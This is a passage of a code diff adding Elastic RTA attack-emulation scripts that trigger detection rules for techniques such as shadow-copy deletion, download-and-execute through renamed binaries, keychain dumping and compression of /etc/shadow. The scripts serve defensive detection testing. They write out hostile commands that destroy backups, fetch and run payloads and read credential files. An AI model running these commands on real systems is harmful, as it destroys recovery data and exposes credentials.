= common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake grep commands to discover software") + common.execute([masquerade, "testgreptestLittle Snitchtest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/hosts_file_modify.py b/rta/hosts_file_modify.py index 56778dcc1..9505a0c42 100644 --- a/rta/hosts_file_modify.py +++ b/rta/hosts_file_modify.py @@ -15,32 +15,42 @@ import time from string import ascii_letters from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f24491d0-720b-4150-a2a1-45b5b07238aa", + platforms=["windows", "linux", "macos"], + endpoint=[], + siem=[{"rule_id": "9c260313-c811-4ec8-ab89-8f6530e0246c", "rule_name": "Hosts File Modified"}], + techniques=["T1565"], +) def main(): hosts_files = { common.WINDOWS: "C:\\Windows\\system32\\drivers\\etc\\hosts", common.LINUX: "/etc/hosts", - common.MACOS: "/private/etc/hosts" + common.MACOS: "/private/etc/hosts", } hosts_file = hosts_files[common.CURRENT_OS] - backup = os.path.abspath(hosts_file + '_backup') + backup = os.path.abspath(hosts_file + "_backup") common.log("Backing up original 'hosts' file.") common.copy_file(hosts_file, backup) # add randomness for diffs for FIM module - randomness = ''.join(random.sample(ascii_letters, 10)) + randomness = "".join(random.sample(ascii_letters, 10)) entry = [ - '', - '# RTA hosts_modify was here', - '# 8.8.8.8 https://www.{random}.google.com'.format(random=randomness) + "", + "# RTA hosts_modify was here", + "# 8.8.8.8 https://www.{random}.google.com".format(random=randomness), ] - with open(hosts_file, 'a') as f: - f.write('\n'.join(entry)) + with open(hosts_file, "a") as f: + f.write("\n".join(entry)) - common.log('Updated hosts file') - with open(hosts_file, 'r') as f: + common.log("Updated hosts file") + with open(hosts_file, "r") as f: common.log(f.read()) time.sleep(2) diff --git a/rta/html_help_file_written_exec.py b/rta/html_help_file_written_exec.py new file mode 100644 index 000000000..3e14d94af --- /dev/null +++ b/rta/html_help_file_written_exec.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9bbf9aea-33fc-45fc-be55-4cafc744da80", + platforms=["windows"], + endpoint=[ + {"rule_name": "File Execution via Microsoft HTML Help", "rule_id": "9c3b13f6-bc26-4397-9721-4ba23ddd1014"} + ], + siem=[], + techniques=["T1218", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + hh = "C:\\Users\\Public\\hh.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, hh) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake hh to drop and execute an .exe") + common.execute([hh, "/c", cmd], timeout=10) + common.execute([hh, "/c", dropped], timeout=10, kill=True) + common.remove_file(hh) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery.py b/rta/inhibit_system_recovery.py new file mode 100644 index 000000000..4429fbd15 --- /dev/null +++ b/rta/inhibit_system_recovery.py @@ -0,0 +1,69 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b11e12a4-271c-427f-b215-12a7a25cb3be", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Obfuscated Commands", + "rule_id": "99358f31-a84a-4f92-bb91-4370083acda0", + } + ], + siem=[], + techniques=["T1490", "T1047", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Deleting volume shadow copies...") + + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'vssadmin.exe", + "delete", + "shadows", + "/for=c:", + "/oldest", + "/quiet'", + ] + ) + + # Create a volume shadow copy so that there is at least one to delete + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'wmic.exe", + "shadowcopy", + "call", + "create", + "volume=c:\\'", + ] + ) + common.execute( + [ + "powershell.exe", + "Invoke-Expression", + "-Command", + "'wmic.exe", + "shadowcopy", + "delete", + "/nointeractive'", + ] + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_and_rename.py b/rta/inhibit_system_recovery_and_rename.py new file mode 100644 index 000000000..079fe2e47 --- /dev/null +++ b/rta/inhibit_system_recovery_and_rename.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="43331e29-57ba-438f-8d61-99f5d6471aaa", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery Followed by a Suspicious File Rename", + "rule_id": "92f114fb-7113-4e82-b021-6c2c4ca0a507", + } + ], + siem=[], + techniques=["T1490", "T1486"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + png = "C:\\Windows\\System32\\SecurityAndMaintenance.png" + tmppng = "C:\\Users\\Public\\SecurityAndMaintenance.png" + renamed = "C:\\Users\\Public\\renamed.encrypted" + common.copy_file(png, tmppng) + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") + common.execute([powershell, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + common.log("Renaming image to unknown extension") + common.execute([powershell, "/c", f"Rename-Item {tmppng} {renamed}"], timeout=10) + + common.remove_file(renamed) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_cmd.py b/rta/inhibit_system_recovery_cmd.py new file mode 100644 index 000000000..afa0fbfa3 --- /dev/null +++ b/rta/inhibit_system_recovery_cmd.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d64b9c0c-d4be-4af2-b820-233493fb7d75", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Windows Command Shell", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72133", + } + ], + siem=[], + techniques=["T1490", "T1047", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + cmd = "C:\\Windows\\System32\\cmd.exe" + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cmd") + common.execute([cmd, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_lolbas_child.py b/rta/inhibit_system_recovery_lolbas_child.py new file mode 100644 index 000000000..db5cd173c --- /dev/null +++ b/rta/inhibit_system_recovery_lolbas_child.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="08c90b80-538e-42ab-8986-342237f9740f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + { + "rule_name": "Inhibit System Recovery via Untrusted Parent Process", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", + }, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Inhibit System Recovery via Signed Binary Proxy", + "rule_id": "740ad26d-3e67-47e1-aff1-adb47a697375", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1216", "T1220", "T1490", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + cscript = "C:\\Users\\Public\\cscript.exe" + common.copy_file(EXE_FILE, cscript) + + # Execute command + common.log("Deleting Shadow Copies using Vssadmin spawned by cscript") + common.execute([cscript, "/c", vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + common.remove_file(cscript) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_office.py b/rta/inhibit_system_recovery_office.py new file mode 100644 index 000000000..e46fbe2db --- /dev/null +++ b/rta/inhibit_system_recovery_office.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="aa05a870-7075-42f9-a009-49aa75ea99fa", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Untrusted Parent Process", + "rule_id": "d3588fad-43ae-4f2d-badd-15a27df72132", + }, + { + "rule_name": "Inhibit System Recovery via Microsoft Office Process", + "rule_id": "58a08390-e69d-4b32-9487-1d1ddb16ba09", + }, + ], + siem=[], + techniques=["T1490", "T1047", "T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.log("Deleting shadow copies using vssadmin") + common.execute( + [binary, "/c", "vssadmin.exe", "delete", "shadows", "/all", "/quiet"], + timeout=5, + kill=True, + ) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/inhibit_system_recovery_renamed.py b/rta/inhibit_system_recovery_renamed.py new file mode 100644 index 000000000..1d1b9aa60 --- /dev/null +++ b/rta/inhibit_system_recovery_renamed.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5fe84989-d544-4a7b-9fbf-0e30d86c09ce", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Inhibit System Recovery via Renamed Utilities", + "rule_id": "153f52e2-2fe5-420b-8691-ddb8562b99d7", + } + ], + siem=[], + techniques=["T1490", "T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + vssadmin = "C:\\Windows\\System32\\vssadmin.exe" + ren_vssadmin = "C:\\Users\\Public\\renvssadmin.exe" + + common.copy_file(vssadmin, ren_vssadmin) + # Execute command + common.log("Deleting Shadow Copies using a renamed Vssadmin") + common.execute([ren_vssadmin, "delete", "shadows", "/For=C:"], timeout=10) + common.remove_file(ren_vssadmin) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/installutil_network.py b/rta/installutil_network.py index 717c1d036..b964a166c 100644 --- a/rta/installutil_network.py +++ b/rta/installutil_network.py @@ -14,18 +14,43 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6dfa88c9-9fb2-4fb0-8bea-0bc45222b498", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "a13167f1-eec2-4015-9631-1fee60406dcf", + "rule_name": "InstallUtil Process Making Network Connections", + }, + { + "rule_id": "1fe3b299-fbb5-4657-a937-1d746f2c711a", + "rule_name": "Unusual Network Activity from a Windows System Binary", + }, + ], + techniques=["T1127", "T1218"], +) + MY_DOT_NET = common.get_path("bin", "mydotnet.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_DOT_NET) def main(): server, ip, port = common.serve_web() common.clear_web_cache() target_app = "mydotnet.exe" - common.patch_file(MY_DOT_NET, common.wchar(":8000"), common.wchar(":%d" % port), target_file=target_app) + common.patch_file( + MY_DOT_NET, + common.wchar(":8000"), + common.wchar(":%d" % port), + target_file=target_app, + ) install_util64 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe" install_util86 = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallUtil.exe" @@ -41,13 +66,19 @@ def main(): if not fallback: common.clear_web_cache() - common.execute([install_util, '/logfile=', '/LogToConsole=False', '/U', target_app]) + common.execute([install_util, "/logfile=", "/LogToConsole=False", "/U", target_app]) else: common.log("Unable to find InstallUtil, creating temp file") install_util = os.path.abspath("InstallUtil.exe") common.copy_file(sys.executable, install_util) - common.execute([install_util, "-c", "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port)]) + common.execute( + [ + install_util, + "-c", + "import urllib; urllib.urlopen('http://%s:%d')" % (common.get_ip(), port), + ] + ) common.remove_file(install_util) common.remove_file(target_app) diff --git a/rta/ip_discovery_unsigned.py b/rta/ip_discovery_unsigned.py new file mode 100644 index 000000000..5f5047eb0 --- /dev/null +++ b/rta/ip_discovery_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5e1ca4f9-16cc-4dd3-bfba-4bd5c7579f4a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "External IP Address Discovery via Untrusted Program", + "rule_id": "dfe28e03-9b0b-47f5-9753-65ed2666663f", + } + ], + siem=[], + techniques=["T1016"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Retrieving the public IP Address using ipify") + common.execute([posh, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/iqy_file_writes.py b/rta/iqy_file_writes.py index d08ab9a03..cb279b6e9 100644 --- a/rta/iqy_file_writes.py +++ b/rta/iqy_file_writes.py @@ -11,9 +11,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="71f67037-1df3-4d5f-b8cb-eaf295ad16ed", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Suspicious File Writes (IQY, PUB)") adobe_path = os.path.abspath("AcroRd32.exe") diff --git a/rta/javascript_payload.py b/rta/javascript_payload.py new file mode 100644 index 000000000..22f38832e --- /dev/null +++ b/rta/javascript_payload.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from time import sleep + + +metadata = RtaMetadata( + uuid="9332cece-38b7-49e1-9f8d-e879913ffdfb", + platforms=["macos"], + endpoint=[ + {"rule_name": "Download and Execution of JavaScript Payload", "rule_id": "871f0c30-a7c5-40a5-80e3-a50c6714632f"} + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + # Setup web server + common.serve_web() + + common.log("Executing commands to download and execute JavaScript payload") + common.execute(["curl", "http://127.0.0.1:8000/payload.js"], shell=True) + sleep(1) + common.execute(["osascript", "-l", "JavaScript", "&"], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kcc_kerberos_dump.py b/rta/kcc_kerberos_dump.py new file mode 100644 index 000000000..835aea334 --- /dev/null +++ b/rta/kcc_kerberos_dump.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2f17286a-e4a8-41de-b3fa-595a4be6fb19", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Access to Kerberos Cached Credentials", + "rule_id": "dc8fa849-efb4-45d1-be1a-9472325ff746", + } + ], + siem=[{"rule_name": "Kerberos Cached Credentials Dumping", "rule_id": "ad88231f-e2ab-491c-8fc6-64746da26cfe"}], + techniques=["T1558", "T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/kcc" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake kcc command to load Kerberos tickets") + common.execute([masquerade, "copy_cred_cache"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kerberos_netconn_file_creation.py b/rta/kerberos_netconn_file_creation.py new file mode 100644 index 000000000..01f5bd716 --- /dev/null +++ b/rta/kerberos_netconn_file_creation.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f8ffc63a-4a54-44a8-ac55-9c63e1bb584c", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious Credential Files Creation via Kerberos", + "rule_id": "ced93ac0-f153-402f-9239-17ae32f304e2", + } + ], + siem=[], + techniques=["T1558", "T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + cmd1 = "Test-NetConnection -ComputerName portquiz.net -Port 445" + cmd2 = "echo 'aaa' > a.kirbi; rm a.kirbi" + # Execute command + common.log("Connecting to port 88 and creating a empty .kirbi file") + common.execute([powershell, "/c", cmd1, ";", cmd2], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/kernelext_agent_unload.py b/rta/kernelext_agent_unload.py new file mode 100644 index 000000000..a0f80d027 --- /dev/null +++ b/rta/kernelext_agent_unload.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="61f308d8-40c5-4c46-9181-e993cf07e92b", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", + "rule_id": "a412fd9b-2a06-49ff-a073-8eb313c2d930", + } + ], + siem=[ + { + "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", + "rule_id": "70fa1af4-27fd-4f26-bd03-50b6af6b9e24", + } + ], + techniques=["T1547", "T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/kextunload" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake kernel ext commands to unload elastic agent") + common.execute([masquerade, "EndpointSecurity.kext"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_cred_access.py b/rta/keychain_cred_access.py new file mode 100644 index 000000000..eabfde995 --- /dev/null +++ b/rta/keychain_cred_access.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="603d77bf-cdfc-44dd-94d3-5b4016caef94", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Access to Keychain Credentials Files", + "rule_id": "150f20b4-6b21-460b-8ae4-339695c1c86c", + } + ], + siem=[ + {"rule_name": "Access to Keychain Credentials Directories", "rule_id": "96e90768-c3b7-4df6-b5d9-6237f8bc36a8"} + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to access keychain creds") + common.execute([masquerade, f"{Path.home()}/Library/Keychains/test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_dump.py b/rta/keychain_dump.py new file mode 100644 index 000000000..e13aafc62 --- /dev/null +++ b/rta/keychain_dump.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f158a6dc-1974-4b98-a3e7-466f6f1afe01", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Dumping of Keychain Content via Security Command", + "rule_id": "565d6ca5-75ba-4c82-9b13-add25353471c", + } + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to dump keychain credentials") + common.execute([masquerade, "dump-keychain", "-d"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/keychain_pwd_cmdline.py b/rta/keychain_pwd_cmdline.py new file mode 100644 index 000000000..70e9457e1 --- /dev/null +++ b/rta/keychain_pwd_cmdline.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f964558b-0674-4c97-afcc-42d4b6a813c6", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Web Browsers Password Access via Command Line", + "rule_id": "77d71ede-3025-4c71-bb99-ada7c344bf89", + } + ], + siem=[ + {"rule_name": "Keychain Password Retrieval via Command Line", "rule_id": "9092cd6c-650f-4fa3-8a8a-28256c7489c9"} + ], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/security" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to collect credentials") + common.execute([masquerade, "-wa", "find-generic-password", "Chrome"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py index 11bf562fb..3a7e5cb60 100755 --- a/rta/lateral_command_psexec.py +++ b/rta/lateral_command_psexec.py @@ -11,9 +11,19 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="90cf6001-11a7-410b-b259-cf20a029b929", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], + techniques=["T1569"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(remote_host=None): remote_host = remote_host or common.get_ip() diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py index 69c054f3e..ce81874bd 100644 --- a/rta/lateral_commands.py +++ b/rta/lateral_commands.py @@ -16,11 +16,22 @@ import re import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="389392dc-61db-4e45-846f-099f7d289c1b", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc", "rule_name": "Service Command Lateral Movement"}], + techniques=["T1569", "T1021", "T1543"], +) + MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(remote_host=None): remote_host = remote_host or common.get_ip() @@ -69,10 +80,8 @@ def main(remote_host=None): schtask_commands = [ r"schtasks /s {host} /delete /tn {name} /f", r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", - r"schtasks /s {host} /run /tn {name}", r"schtasks /s {host} /delete /tn {name} /f", - ] for command in schtask_commands: diff --git a/rta/launchagent_plist.py b/rta/launchagent_plist.py new file mode 100644 index 000000000..99e3a62c4 --- /dev/null +++ b/rta/launchagent_plist.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7548a786-50f7-40e5-8f8a-b005e9e8d864", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Launch Agent Creation or Modification and Immediate Loading", + "rule_id": "082e3f8c-6f80-485c-91eb-5b112cb79b28", + } + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + plist = f"{Path.home()}/Library/LaunchAgents/test.plist" + common.temporary_file_helper("testing", file_name=plist) + + # Execute command + common.log("Launching fake launchctl command to mimic plist loading") + common.execute([masquerade, "load"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/launchdaemon_persistence.py b/rta/launchdaemon_persistence.py new file mode 100644 index 000000000..fde4f3c53 --- /dev/null +++ b/rta/launchdaemon_persistence.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="762adc57-58c2-413d-a98d-258a223c07da", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "LaunchDaemon Creation or Modification and Immediate Loading", + "rule_id": "9d19ece6-c20e-481a-90c5-ccca596537de", + } + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + payload_file = "/Library/LaunchDaemons/test.payload" + common.temporary_file_helper("testing", file_name=payload_file) + + # Execute command + common.log("Launching fake launchctl command to mimic LaunchDaemons payload persistence") + common.execute([masquerade, "load"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ldapsearch_group_enumeration.py b/rta/ldapsearch_group_enumeration.py new file mode 100644 index 000000000..7b2da0f89 --- /dev/null +++ b/rta/ldapsearch_group_enumeration.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="370c3432-65f5-4068-b879-916bc1297c60", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Enumeration of Users or Groups via Built-in Commands", + "rule_id": "6e9b351e-a531-4bdc-b73e-7034d6eed7ff", + } + ], + techniques=["T1069", "T1087"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/ldapsearch" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake ldapsearch commands to mimic user or group enumeration") + common.execute([masquerade, "testing"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py index 7b2104818..aa730c39e 100644 --- a/rta/linux_compress_sensitive_files.py +++ b/rta/linux_compress_sensitive_files.py @@ -8,18 +8,28 @@ # Description: Uses built-in commands for *nix operating systems to compress known sensitive # files, such as etc/shadow and etc/passwd from . import common +from . import RtaMetadata -@common.requires_os(common.LINUX) +metadata = RtaMetadata( + uuid="f3ffa89b-de47-4e17-ac8e-385e0e7f8253", + platforms=["linux"], + endpoint=[], + siem=[{"rule_id": "6b84d470-9036-4cc0-a27c-6d90bbfe81ab", "rule_name": "Sensitive Files Compression"}], + techniques=["T1560", "T1552"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Compressing sensitive files") - files = ['totally-legit.tar', 'official-business.zip', 'expense-reports.gz'] + files = ["totally-legit.tar", "official-business.zip", "expense-reports.gz"] # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo commands = [ - ['tar', '-cvf', files[0], '/etc/shadow'], - ['zip', files[1], '/etc/passwd'], - ['gzip', '/etc/group', files[2]] + ["tar", "-cvf", files[0], "/etc/shadow"], + ["zip", files[1], "/etc/passwd"], + ["gzip", "/etc/group", files[2]], ] for command in commands: try: @@ -30,5 +40,5 @@ def main(): common.log(str(exc)) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/rta/linux_discovery_sensitive_files.py b/rta/linux_discovery_sensitive_files.py index b8561a5f5..6fa99840e 100644 --- 